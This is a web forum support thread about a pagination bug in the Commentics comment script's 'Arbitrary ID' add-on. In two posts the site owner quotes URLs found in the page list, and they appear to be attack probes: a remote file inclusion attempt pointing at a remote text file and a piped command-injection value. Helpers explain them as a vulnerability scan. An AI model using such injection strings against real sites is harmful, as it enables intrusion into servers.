This is the community forum. For a developer response use the Client Area.
Follow us on Facebook, Twitter and YouTube!

Pagination (Arbitrary ID)
#1

Hello
Dont really it this is a bug at all
Anyway, If you look at the following page:
http://falsafa.info/cours2.php
You sall see a pagination:
1 2 3 > [last]
But if you click on 2 or 3 you shall see no further comments !!
Reply
#2

Please follow this guide and report back:
http://www.commentics.org/support/knowle...article=15

Have you completed the interview?
Reply
#3

Well, I did enable
Settings -> Error Reporting and enable it for BOTH the front AND backend
I toggled between Log errors to file and Show on screen
Then I visited the pagination pages, but no error was showing !!
I kept the settings on Show on screen so you can visit the above page to see by yourself
Reply
#4

Maybe there is a problem with your page IDs.

Check in Manage -> Pages to make sure that they are all correct and unique.

Have you completed the interview?
Reply
#5

Did you mean that two pages are sharing the same ID ?
I see Ids listed from 1 to 127 There is no duplicate ID
However, from manage ---> pages, I noticed two strange pages:
Code:
http://falsafa.info/bonheur-c.php/errors.php?error=http://203.168.202.14/resturant/logs/.bbs/CKrid1.txt??
http://falsafa.info/bonheur-c.php/errors.php?error=%7Cecho%20%22IndoCrew%22;%7C
I am afraid, this looks like a hacker sites !!!
Reply
#6

Okay, I assume that you're using the 'Arbitrary ID' add-on. It looks like someone, or perhaps even a bot, has been testing for vulnerabilities and has inadvertently created a new page. Probably nothing to worry about.

I wonder whether this is an issue with the 'p' parameter. Is your website powered by some type of software? If so, it might be using code which conflicts with the '?p=x' query parameter.

Have you completed the interview?
Reply
#7

Yes I am using the 'Arbitrary ID' add-on
But I am installing no other software on my site
Reply
#8

I can't think of anymore obvious causes. I would need to see the relevant code in order to determine for sure why it's not working. Maybe Static has some other ideas that you can try.

Have you completed the interview?
Reply
#9

"http://203.168.202.14/resturant/logs/.bbs/CKrid1.txt"
^^^ What's up with that file? ^^^
Here's a quick Google search on CKrid.
This is the interesting stuff: http://www.bizimbal.com/docs/article02.html
Apparently, a hacker was checking if the server is hackable through remote code injection. I don't think it has anything to do with Commentics though (apart from fopen). Be on guard anyway.
More info on that IP: http://www.bizimbal.com/odb/details.html?id=776861

Now, back to the bug...
I assume you use version 1.2, and not the beta. Can you explain how you implemented the arbitrary ID add-on? When switching pages, you forgot to mention that it shows the "No Comments" message. The bug is most likely a conflict with pagination. I suspect that you defined the following variable:
PHP Code:
<?php 
$arbitrary_id_reference
= '';//Your value/variable here
as "$_GET['p']". If so, try leaving it blank.

P.S. I found the Google translation for the "No Comments" message quite interesting:
"There are no comments yet. Why not be the first to hasten the deployment of a comment!?"
Smile

EDIT: Yay, my 5x10^2 post!

I'm giving you three guesses...
Reply
#10

Thanks for reply
First, I am much concerned with the hacker attempt
You said this has nothing to do with Commentics, but if I report this hacking ettempt to the hosting company, they will say: "check for any script you are installing in your website"
Really, I am quite confused !
Quote:http://falsafa.info/bonheur-c.php/errors.php?error=%7Cecho%20%22IndoCrew%22;%7C
where deos the error.php file come from?
I had no such file on my website !! Huh
Why Commentics is catching such pages

Code:
http://falsafa.info/bonheur-c.php?test=1
http://falsafa.info/bonheur-c.php/errors.php
http://falsafa.info/bonheur-c.php/img/pen_pencil.gif
http://falsafa.info/bonheur-c.php/
http://falsafa.info/bonheur-c.php/errors.php?error=lol

By the way, I agree Google translation is quite funny Smile
Reply


Possibly Related Threads…
Thread / Author Replies Views Last Post
Last Post by Steven
08-Aug-2010, 07:13 PM

Forum Jump:


Users browsing this thread: 1 Guest(s)